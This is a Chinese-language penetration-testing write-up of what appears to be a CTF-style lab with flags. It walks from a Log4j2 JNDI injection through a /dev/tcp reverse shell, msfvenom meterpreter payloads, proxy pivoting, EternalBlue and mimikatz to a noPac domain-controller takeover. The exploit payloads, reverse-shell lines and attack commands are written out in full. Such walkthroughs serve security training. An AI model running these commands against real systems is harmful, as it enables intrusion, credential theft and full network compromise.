记一次log4j2引发的渗透

VSole2022-01-06 15:43:06

外网打点

首先对web进行端口扫描,发现38080端口和22端口

访问一下38080端口发现是一个error page

用Wappalyzer看一下是什么架构,但是好像没有检测出来

拿着报错去百度上发现应该是springboot

索性用goby再去扫一下,应该是spring没错,但是没有漏洞是什么操作?联想到最近出的log4j2的洞,可能他只是一个日志文件所以并没有框架

使用

payload=${jndi:ldap://p9j8l8.dnslog.cn}

验证一下有回显证明存在漏洞

尝试进一步利用漏洞,首先起一个ldap服务,ip为本地接收shell的ip地址

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105

抓包修改Content-Type: appllication/x-www-form-urlencoded

并执行以下payload成功回显

payload=${jndi:ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho}

执行ls -al /看一下也成功

nc开启监听端口

然后使用bash命令反弹,这里需要先base64编码然后对编码后的特殊字符进行2层url转码

bash -i >& /dev/tcp/192.168.1.105/9999 0>&1

抓包添加payload=${jndi:ldap:1/192.168.199.140:1389/TomcatBypass/Command/Base64/二层转码之后的字符},即可得到反弹shell

进行信息搜集发现为docker环境,这里尝试了docker逃逸失败,那么继续进行信息搜集

在根目录下找到了第一个flag,这里有一个got this,在之前端口扫描的时候看到开放了22端口,尝试使用ssh直接连接

使用xshell尝试连接

连接成功,拿到了宿主机的权限

内网渗透

ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡

这里方便的话其实可以使用cs上线linux后用cs继续打,这里我就没有上线cs,使用linux的命令对10.0.1.0/24段探测存货主机

 for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

ping一下是存活的

使用毒液把流量代理出来,首先开启监听

admin.exe -lport 7777

然后上传agent_linux到靶机上

加权并执行

chmod 777 agent_linux_x86
agent_linux_x86 -rhost 192.168.1.105 -rport 7777

连接成功

这里本来准备用毒液的代理到msf打的,后面觉得比较麻烦,就直接用kali生成的elf马上线msf了

首先生成一个32位的elf马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf

然后加权并执行

chmod 777 shell.elf
./shell

kali使用exploit/multi/handler进行监听

获取到宿主机的shell

然后添加10.0.1.0/24段的路由

bg
route add 10.0.1.0 255.255.255.0 1
route print

然后配置proxychain4.conf文件并使用socks模块

search socks
use auxiliary/sevrer/socks_proxy
run

我们在之前已经知道了内网主机的ip,那么这里我们直接使用proxychain配合nmap对10.0.1.7的端口进行扫描

proxychains4 nmap -sT -Pn 10.0.1.7

发现有445端口,那么对445端口进一步扫描

先确定一下系统版本,使用auxiliary/scanner/smb/smb_version模块,发现是win7 sp1

看能不能利用永恒之蓝,这里使用到auxiliary/scanner/smb/smb_ms17_010模块,发现可以利用永恒之蓝

使用exploit/windows/smb/ms17_010_eternalbule模块,因为是不出网环境,这里需要用到bind_tcp载荷

run之后拿到一个system权限的meterpreter

C:\Users\root\Desktop下拿到第二个flag

然后继续进行信息搜集,发现同样是双网卡,还存在10.0.0.0/24段的一张网卡

ipconfig /all看到dns服务器为redteam.lab应该在域内

这里ping一下redteam.lab得到域控的ip为10.0.0.12

这里不知道域控有什么洞,先上传一个mimikatz把密码抓取出来,得到Administrator/Admin12345,这里其实就可以使用域管账户ipc直接连接,但是这里抓到了一个域用户,尝试使用最新的CVE-2021-42287、CVE-2021-42278来进行攻击,关于漏洞的原理请移步[1]

privilege::debug
sekurlsa::logonpasswords

这里我准备使用noPac.exe直接去获取一个shell的,但是这里noPac.exe的利用条件是需要主机上有.net4.0环境,所以这里没有回显

noPac.exe下载地址:https://github.com/cube0x0/noPac

本来准备一步一步的用原始的方法打的,但是powershell用不了没有回显,就写一下原始利用的步骤吧

1.首先创建一个机器账户,可以使用 impacket 的 addcomputer.py或是powermad
addcomputer.py是利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除
2.清除机器账户的servicePrincipalName属性
3.将机器账户的sAMAccountName,更改为DC的机器账户名字,注意后缀不带$
4.为机器账户请求TGT
5.将机器账户的sAMAccountName更改为其他名字,不与步骤3重复即可
6.通过S4U2self协议向DC请求ST
7.进行 DCsync Attack

这里直接使用sam_the_admin.py[2]进行攻击

proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

即可拿到DC的shell

C:\Users\Administrator\Desktop下找到最后一个flag

payloadshell
本作品采用《CC 协议》,转载必须注明作者和本文链接
从某新生赛入门PWN
2022-11-26 16:02:34
本文为看雪论坛优秀文章看雪论坛作者ID:bad_c0de在某平台上看到了质量不错的新生赛,难度也比较适宜,因此尝试通过该比赛进行入门,也将自己所学分享给大家。赛题ezcmp赛题分析该程序的C代码如下,因此我们只要使buff和test的前三十个字节相同即可。因此可以直接在比较处下断点查看buff数组的值即可。#includechar buff[100];int v0;char buffff[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234";char bua[]="abcdefghijklmnopqrstuvwxyz4321";char* enccrypt{ int a; for{ a=rand(); buf[i]^=buffff[i]; buff[i]^=bua[i]; for{ buf[j]=buff[i]; buf[i]+='2'; } buf[i]-=&0xff; buf[i]+=&0xff; }}int main(){ setbuf; setbuf; setbuf; puts; char buf[]="Ayaka_nbbbbbbbbbbbbbbbbb_pluss"; strcpy; char test[30]; int v0=1; srand; enccrypt; read; if(!ezr0p64赛题分析查看保护同理可以通过rop进行绕过。
shellcode 读取 secret 文件内容并输出,比谁用的字符更少,字符数相同时比谁的长度更短。
0x01 前言之前接触tp5的站比较少,只知道利用RCE漏洞getshell的方式。在最近对一个发卡平台渗透的过程中,由于php版本限制,无法直接使用RCE的payloadshell,于是结合该网站尽可能多的测试一下tp5+php7.1环境下的getshell方法。
​Cobalt Strike基础使用
2021-10-28 08:48:39
Cobalt Strike分为客户端组件和服务器组件,服务器的组件也是团队服务器,可以放在局域网或者公网下进行团队使用,也是Cobalt Strike社会工程功能的托管机器,团队服务器还可以存储由Cobalt Strike收集的数据,并且进行日志管理。其支持多主机连接,部署好Beacon后提交一个要连回的域名或主机的列表,Beacon将通过这些主机轮询。
第 2 章 shell权限提升,简称提权。它用于执行各种网络交互,包括在枚举期间抓取 banner 等。但它们默认情况下很少安装 Socat。模块与 socat 和 netcat 一样,提供了用于接收反弹 shell 的功能。虽然 msfvenom 可以生成除 reverse 和 bind shell 之外的 payload,但这不是本文的重点。一般情况下,反向 shell 更容易执行和调试。以下会给出反弹 shell 和 正向 shell 的示例,请注意它们间的区别。这里重要的是我们正在攻击机上监听,并收到了来自目标的连接。请注意,这并非特定于 Windows。
#默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于已经有了一个不需要再产生一个,所以这里设置为true. #这里是当前获得的session的id. 可以看到 cs 成功接收到 shell右键 Interact 调出 beacon 界面,net view 查看当前域中计算机列表,然后执行 shell 命令前面加上 shell 就可以了,例如 shell ipconfig四、制作木马首先创建监听器用于木马回连,Host 为 cs 服务端的 ipAttacks->Packages->Windows Executable?需要派生的目标右击选择Spawn,然后创建一个?
免杀,又叫免杀毒技术,是反病毒,反间谍的对立面,是一种能使病毒或木马免于被杀毒软件查杀的软件。它除了使病毒木马免于被查杀外,还可以扩增病毒木马的功能,改变病毒木马的行为。免杀的基本特征是破坏特征,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。
再开始今天的内容之前,首先理解一个东西 WebDav,WebDAV 一种基于 HTTP 1.1协议的通信协议。命令能告诉我们目标系统使用的是 python2 还是 python3。
VSole
网络安全专家